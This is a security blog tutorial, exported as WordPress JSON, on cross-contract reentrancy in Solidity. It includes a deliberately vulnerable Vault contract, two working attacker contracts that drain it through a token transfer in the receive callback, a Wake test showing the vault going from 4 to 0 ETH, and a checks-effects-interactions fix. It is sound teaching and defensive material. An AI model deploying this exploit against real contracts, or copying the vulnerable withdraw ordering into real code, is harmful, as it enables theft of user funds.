{"id":751,"date":"2024-07-11T15:45:42","date_gmt":"2024-07-11T13:45:42","guid":{"rendered":"https:\/\/ackee.xyz\/blog\/?p=751"},"modified":"2025-02-10T17:53:47","modified_gmt":"2025-02-10T15:53:47","slug":"cross-contract-reentrancy-attack","status":"publish","type":"post","link":"https:\/\/ackee.xyz\/blog\/cross-contract-reentrancy-attack\/","title":{"rendered":"Cross Contract Reentrancy Attack"},"content":{"rendered":"<p dir=\"auto\" data-line=\"2\">This research article reviews how cross contract reentrancy attacks work, an attack example, and guidance on how to prevent cross contract reentrancy attacks.<\/p>\n<p class=\"code-line\" dir=\"auto\" data-line=\"2\">Previously, we covered <a href=\"https:\/\/ackee.xyz\/blog\/single-function-reentrancy-attack\/\" target=\"_blank\" rel=\"noopener\">single function reentrancy attacks<\/a> and <a href=\"https:\/\/ackee.xyz\/blog\/cross-function-reentrancy-attack\/\" target=\"_blank\" rel=\"noopener\">cross function reentrancy attacks<\/a>. Those previous vulnerabilities were trivial to find since we need only check that updating the value with an external call should not use a different value or update that value.<\/p>\n<h2 dir=\"auto\" data-line=\"2\">What is a cross contract reentrancy attack?<\/h2>\n<p>Cross contract reentrancy attacks use different smart contracts to exploit a vulnerability. The code in cross contract reentrancy attacks is more complex since it uses different contracts, and thus, we should search how value is updated in those contracts. Moreover, ReentrancyGuard can not prevent these types of attacks.<\/p>\n<h2>Cross contract reentrancy attack example<\/h2>\n<p class=\"code-line code-active-line\" dir=\"auto\" data-line=\"7\">This is an example contract of vulnerable to the cross contract reentrancy.<\/p>\n<p class=\"code-line\" dir=\"auto\" data-line=\"9\">There is a\u00a0<code class=\"codehl\">CCRToken<\/code>\u00a0contract and a\u00a0<code class=\"codehl\">Vault<\/code>\u00a0contract. CCRToken is a custom token of ERC20. and Vault does swapping between\u00a0<code class=\"codehl\">ETH<\/code>\u00a0and\u00a0<code class=\"codehl\">CCRToken<\/code>.\u00a0<code class=\"codehl\">Vault<\/code>\u00a0stores\u00a0<code class=\"codehl\">ETH<\/code>.<\/p>\n<p class=\"code-line\" dir=\"auto\" data-line=\"12\">As you can see in the\u00a0<code class=\"codehl\">Vault<\/code> contract all of the functions that the user callable function has\u00a0<code class=\"codehl\">nonReentrancy<\/code>.<\/p>\n<p class=\"code-line\" dir=\"auto\" data-line=\"14\">So it is unable to do single function reentrancy. Also, there is no <code class=\"codehl\">transfer<\/code>\u00a0function for the cross function reentrancy in the\u00a0<code class=\"codehl\">Vault<\/code> contract. However similar to the <code class=\"codehl\">transfer<\/code> function is located at the <code class=\"codehl\">CCRToken<\/code>\u00a0contract.<\/p>\n<p>This is the token contract.<\/p>\n<pre><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport &quot;@openzeppelin\/contracts\/token\/ERC20\/ERC20.sol&quot;;\nimport &quot;@openzeppelin\/contracts\/access\/Ownable.sol&quot;;\n\ncontract CCRToken is ERC20, Ownable {\n\n    \/\/ (manager i.e. victim) is trusted, so only they can mint and burn token\n    constructor(address manager) ERC20(&quot;CCRToken&quot;, &quot;CCRT&quot;) Ownable(manager) {}\n\n    \/\/ Only manager mint token \n    function mint(address to, uint256 amount) external onlyOwner {\n        _mint(to, amount);\n    }\n    \/\/ Burn token\n    function burn(address from, uint256 amount) external onlyOwner {\n        _burn(from, amount);\n    }\n}<\/code><\/pre>\n<p class=\"code-line\" dir=\"auto\" data-line=\"14\">This is the vulnerable vault contract.<\/p>\n<pre><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: MIT\n\npragma solidity 0.8.20;\n\nimport &quot;@openzeppelin\/contracts\/utils\/ReentrancyGuard.sol&quot;;\nimport &quot;@openzeppelin\/contracts\/token\/ERC20\/ERC20.sol&quot;;\nimport &quot;@openzeppelin\/contracts\/access\/Ownable.sol&quot;;\nimport &quot;.\/token.sol&quot;;\n\n\ncontract Vault is ReentrancyGuard, Ownable {\n    CCRToken public customToken;\n\n    constructor() Ownable(msg.sender) {}\n\n    function setToken(address _customToken) external onlyOwner {\n        customToken = CCRToken(_customToken);\n    }   \n\n    function deposit() external payable nonReentrant {\n        customToken.mint(msg.sender, msg.value); \/\/eth to CCRT\n    }\n\n    function burnUser() internal {\n        customToken.burn(msg.sender, customToken.balanceOf(msg.sender));\n    }\n\n    \/**\n    * @notice Vulnerable function. similary cross function reentrancy but it is harder to find.\n    * it uses other contracts and it has different features from just variables.\n    *\/\n    function  withdraw() external nonReentrant {\n        uint256 balance = customToken.balanceOf(msg.sender);\n        require(balance &gt; 0, &quot;Insufficient balance&quot;);\n        (bool success, ) = msg.sender.call{value: balance}(&quot;&quot;); \n        \/\/ attacker calls transfer CCRT balance to another account in the callback function.\n        require(success, &quot;Failed to send Ether&quot;); \n\n        burnUser();\n    }\n}<\/code><\/pre>\n<p class=\"code-line\" dir=\"auto\" data-line=\"61\">The idea of attack is similar to the cross function reentrancy attack. The attacker does withdraw and it has an external function call, and here, even if all external functions in this contract have non-reentrant, we can call the <code class=\"codehl\">transfer<\/code>\u00a0function, since it is in the\u00a0<code class=\"codehl\">CCRToken<\/code>\u00a0contract.<\/p>\n<h2 class=\"code-line\" dir=\"auto\" data-line=\"64\">Example attack steps<\/h2>\n<p class=\"code-line\" dir=\"auto\" data-line=\"66\">The attack is done in the <code class=\"codehl\">attack<\/code>\u00a0function. After calling the\u00a0<code class=\"codehl\">attack<\/code>\u00a0function.<\/p>\n<ol class=\"code-line\" dir=\"auto\" data-line=\"69\">\n<li class=\"code-line\" dir=\"auto\" data-line=\"69\">call the\u00a0<code class=\"codehl\">deposit<\/code> in the Vault contract to prepare for the attack.<\/li>\n<li class=\"code-line\" dir=\"auto\" data-line=\"70\">call the\u00a0<code class=\"codehl\">withdraw<\/code> in the Vault contract, it calls an external call to the attacker, and it calls the\u00a0<code class=\"codehl\">receive<\/code>\u00a0function.<\/li>\n<li class=\"code-line\" dir=\"auto\" data-line=\"71\">In the\u00a0<code class=\"codehl\">receive<\/code>\u00a0function, the attacker calls\u00a0<code class=\"codehl\">transfer<\/code>\u00a0in the Token contract and transfers the ERC20 value to the\u00a0<code class=\"codehl\">Attacker2<\/code>.<\/li>\n<li class=\"code-line\" dir=\"auto\" data-line=\"72\">So now, the sum of the amount that\u00a0<code class=\"codehl\">Attacker<\/code>\u00a0balance and\u00a0<code class=\"codehl\">Attacker2<\/code>\u00a0in Token are multiple.<\/li>\n<li class=\"code-line\" dir=\"auto\" data-line=\"73\">call\u00a0<code class=\"codehl\">attacker2.send<\/code>\u00a0to send the Token value from\u00a0<code class=\"codehl\">Attacker2<\/code>\u00a0to Attacker<\/li>\n<\/ol>\n<p class=\"code-line\" dir=\"auto\" data-line=\"75\">And we can repeat those steps until drain the vault.<\/p>\n<h3 id=\"attacker-contract\" class=\"code-line\" dir=\"auto\" data-line=\"77\">Attacker Contract<\/h3>\n<p class=\"code-line\" dir=\"auto\" data-line=\"79\">This is the attack contract.<\/p>\n<pre><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport &quot;.\/vault.sol&quot;;\n\n\ncontract Attacker1 {\n    Vault victim;\n    CCRToken ccrt;\n    Attacker2 attacker2;\n    uint256 amount = 1 ether;\n\n    \/**\n     * @param _victim victim address\n     * @param _ccrt  victim token ERC20 address\n     *\/ \n    constructor(address _victim, address _ccrt) payable {\n        victim = Vault(_victim);\n        ccrt = CCRToken(_ccrt);  \n    }\n\n    \/**\n     * @notice Set attacker2 contract\n     * @param _attacker2  attacker colleague address\n     *\/\n    function setattacker2(address _attacker2) public {\n        attacker2 = Attacker2(_attacker2);\n    }\n\n    \/**\n     * @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2. \n     * Because burn balance of attacker1 after this function.\n     * @dev triggered by victim.withdraw()\n     *\/\n    receive() external payable {\n        ccrt.transfer(address(attacker2), msg.value); \n    }\n\n    \/**\n     * @notice deposit and we can repeatedly withdraw.\n     *\/\n    function attack() public {\n        uint256 value = address(this).balance;\n        victim.deposit{value: value}();\n        while(address(victim).balance &gt;= amount){\n            victim.withdraw();\n            attacker2.send(address(this), value); \/\/send ERC20 token that multiplied at recieve().\n        }    \n    }\n}\n\n\ncontract Attacker2 {\n    Vault victim;\n    CCRToken ccrt;\n    uint256 amount = 1 ether;\n\n    constructor(address _victim, address _ccrt) {\n        victim = Vault(_victim);\n        ccrt = CCRToken(_ccrt);\n    }\n\n    \/**\n     * @notice Just send ERC20 to the attacker\n     *\/\n    function send(address _target, uint256 _amount) public {\n        ccrt.transfer(_target, _amount);\n    }\n}<\/code><\/pre>\n<h3 class=\"code-line\" dir=\"auto\" data-line=\"152\">Exploit example of a cross-contract reentrancy attack<\/h3>\n<p class=\"code-line\" dir=\"auto\" data-line=\"154\">It went more complex than the previous example but those are for the deployment of contracts and the most important step is in the attack function call.<\/p>\n<p class=\"code-line\" dir=\"auto\" data-line=\"156\">It does deploy vault and token and set those addresses.<\/p>\n<p class=\"code-line\" dir=\"auto\" data-line=\"158\">Similarly, initialize attackers. and call the <code class=\"codehl\">attack<\/code>\u00a0function in the attacker.<\/p>\n<pre><code class=\"language-python\">from wake.testing import *\n\nfrom pytypes.contracts.crosscontractreentrancy.token import  CCRToken\nfrom pytypes.contracts.crosscontractreentrancy.vault import Vault\n\nfrom pytypes.contracts.crosscontractreentrancy.attacker import Attacker1\nfrom pytypes.contracts.crosscontractreentrancy.attacker import Attacker2\n\n@default_chain.connect()\ndef test_default():\n    print(&quot;---------------------Cross Contract Reentrancy---------------------&quot;)\n    victim = default_chain.accounts[0]\n    attacker = default_chain.accounts[1]\n    \n    vault = Vault.deploy(from_=victim)\n    token = CCRToken.deploy( vault.address ,from_=victim)\n    vault.setToken(token.address)\n    vault.deposit(from_=victim, value=&quot;4 ether&quot;)\n\n    attacker_contract = Attacker1.deploy(vault.address, token.address, from_=attacker, value=&quot;1 ether&quot;)\n    attacker2_contract = Attacker2.deploy(vault.address, token.address, from_=attacker)\n\n    attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)\n    print(&quot;Vault balance  : &quot;, vault.balance)\n    print(&quot;Attacker balace: &quot;, attacker_contract.balance)\n    print(&quot;----------Attack----------&quot;)\n\n    tx = attacker_contract.attack(from_=attacker)\n    print(tx.call_trace)\n\n    print(&quot;Vault balance   : &quot;, vault.balance)\n    print(&quot;Attacker balance: &quot;, attacker_contract.balance)<\/code><\/pre>\n<p class=\"code-line\" dir=\"auto\" data-line=\"196\">This is the output of <a href=\"https:\/\/getwake.io\/\" target=\"_blank\" rel=\"noopener\">wake<\/a>. We can see the Vault balance changed from 4 EHT to 0 ETH. Attacker balance changed 1 ETH to 5 ETH.<\/p>\n<pre><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-752 size-full\" src=\"https:\/\/abchprod.wpengine.com\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-23-02-08.png\" alt=\"\" width=\"855\" height=\"1187\" srcset=\"https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-23-02-08.png 855w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-23-02-08-216x300.png 216w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-23-02-08-738x1024.png 738w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-23-02-08-768x1066.png 768w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-23-02-08-370x514.png 370w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-13-23-02-08-760x1055.png 760w\" sizes=\"auto, (max-width: 855px) 100vw, 855px\" \/><\/pre>\n<h2 class=\"code-line\" dir=\"auto\" data-line=\"274\">How to prevent a cross-contract reentrancy attack<\/h2>\n<h3 id=\"reentrancyguard\" class=\"code-line\" dir=\"auto\" data-line=\"276\">ReentrancyGuard<\/h3>\n<p class=\"code-line\" dir=\"auto\" data-line=\"278\">The simple reentrancy guard can not prevent this attack.<\/p>\n<h3 id=\"checks-effects-interactions\" class=\"code-line\" dir=\"auto\" data-line=\"300\">CEI (checks-effects-interactions)<\/h3>\n<p class=\"code-line\" dir=\"auto\" data-line=\"302\">This is a straightforward solution as it eliminates the possibility of a reentrancy attack. This is the best way to prevent reentrancy attacks.<\/p>\n<pre><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: MIT\n\npragma solidity 0.8.20;\n\nimport &quot;@openzeppelin\/contracts\/utils\/ReentrancyGuard.sol&quot;;\nimport &quot;@openzeppelin\/contracts\/token\/ERC20\/ERC20.sol&quot;;\nimport &quot;@openzeppelin\/contracts\/access\/Ownable.sol&quot;;\nimport &quot;.\/token.sol&quot;;\n\n\ncontract Vault is ReentrancyGuard, Ownable {\n    CCRToken public customToken;\n\n    constructor() Ownable(msg.sender) {}\n\n    function setToken(address _customToken) external onlyOwner {\n        customToken = CCRToken(_customToken);\n    }   \n\n    function deposit() external payable nonReentrant {\n        customToken.mint(msg.sender, msg.value); \/\/eth to CCRT\n    }\n\n    function burnUser() internal {\n        customToken.burn(msg.sender, customToken.balanceOf(msg.sender));\n    }\n\n    \/**\n    * @notice Vulnerable function. similary cross function reentrancy but it is harder to find.\n    * it uses other contracts and it has different features from just variables.\n    *\/\n    function  withdraw() external nonReentrant {\n        uint256 balance = customToken.balanceOf(msg.sender);\n        require(balance &gt; 0, &quot;Insufficient balance&quot;);\n        burnUser();\n        (bool success, ) = msg.sender.call{value: balance}(&quot;&quot;); \n        require(success, &quot;Failed to send Ether&quot;); \n    }\n}<\/code><\/pre>\n<h2 id=\"conclusion\" class=\"code-line\" dir=\"auto\" data-line=\"320\">Conclusion<\/h2>\n<p class=\"code-line\" dir=\"auto\" data-line=\"322\">The main issue of cross-contract reentrancy is the ReentrancyGuard does not work. However, the issue is always the same where it should not use data that is in the middle of the function. If there are multiple contracts, the entrance state is stored differently. If it removed this issue then the attack would stop.<\/p>\n<p><span style=\"font-weight: 400;\">We have a <a title=\"Reentrancy Examples Github Repository\" href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\" target=\"_blank\" rel=\"noopener\">Reentrancy Examples Github Repository<\/a> with several other types of reentrancy attacks, including attack examples, protocol-specific reentrancies, and prevention methods.<br \/>\n<\/span><\/p>\n<ul>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/single-function-reentrancy\">Single-function reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/cross-function-reentrancy\">Cross-function reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/cross-contract-reentrancy\">Cross-contract reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/read-only-reentrancy\">Read-only reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/cross-chain-reentrancy\">Cross-chain reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/erc721\">ERC-721 reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/erc777\">ERC-777 reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/flash-loan\">Flash loan reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/erc1155\">ERC-1155 reentrancy<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>This research article reviews how cross contract reentrancy attacks work, an attack example, and guidance on how to prevent cross contract reentrancy attacks. Previously, we covered single function reentrancy attacks and cross function reentrancy attacks. Those previous vulnerabilities were trivial to find since we need only check that updating the value with an external call should not use a different value or&hellip;<\/p>\n","protected":false},"author":24,"featured_media":848,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[61,10,84,63,103],"tags":[14,86,138],"class_list":["post-751","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-education","category-ethereum","category-hacks","category-tutorial","category-wake","tag-exploit","tag-hack","tag-reentrancy-attack"],"aioseo_notices":[],"featured_image_src":"https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Cross-Contract-Reentrancy-Attack-600x400.png","featured_image_src_square":"https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Cross-Contract-Reentrancy-Attack-600x600.png","author_info":{"display_name":"Naoki Yoshida","author_link":"https:\/\/ackee.xyz\/blog\/author\/naoki-yoshida\/"},"_links":{"self":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts\/751","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/users\/24"}],"replies":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/comments?post=751"}],"version-history":[{"count":0,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts\/751\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/media\/848"}],"wp:attachment":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/media?parent=751"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/categories?post=751"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/tags?post=751"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}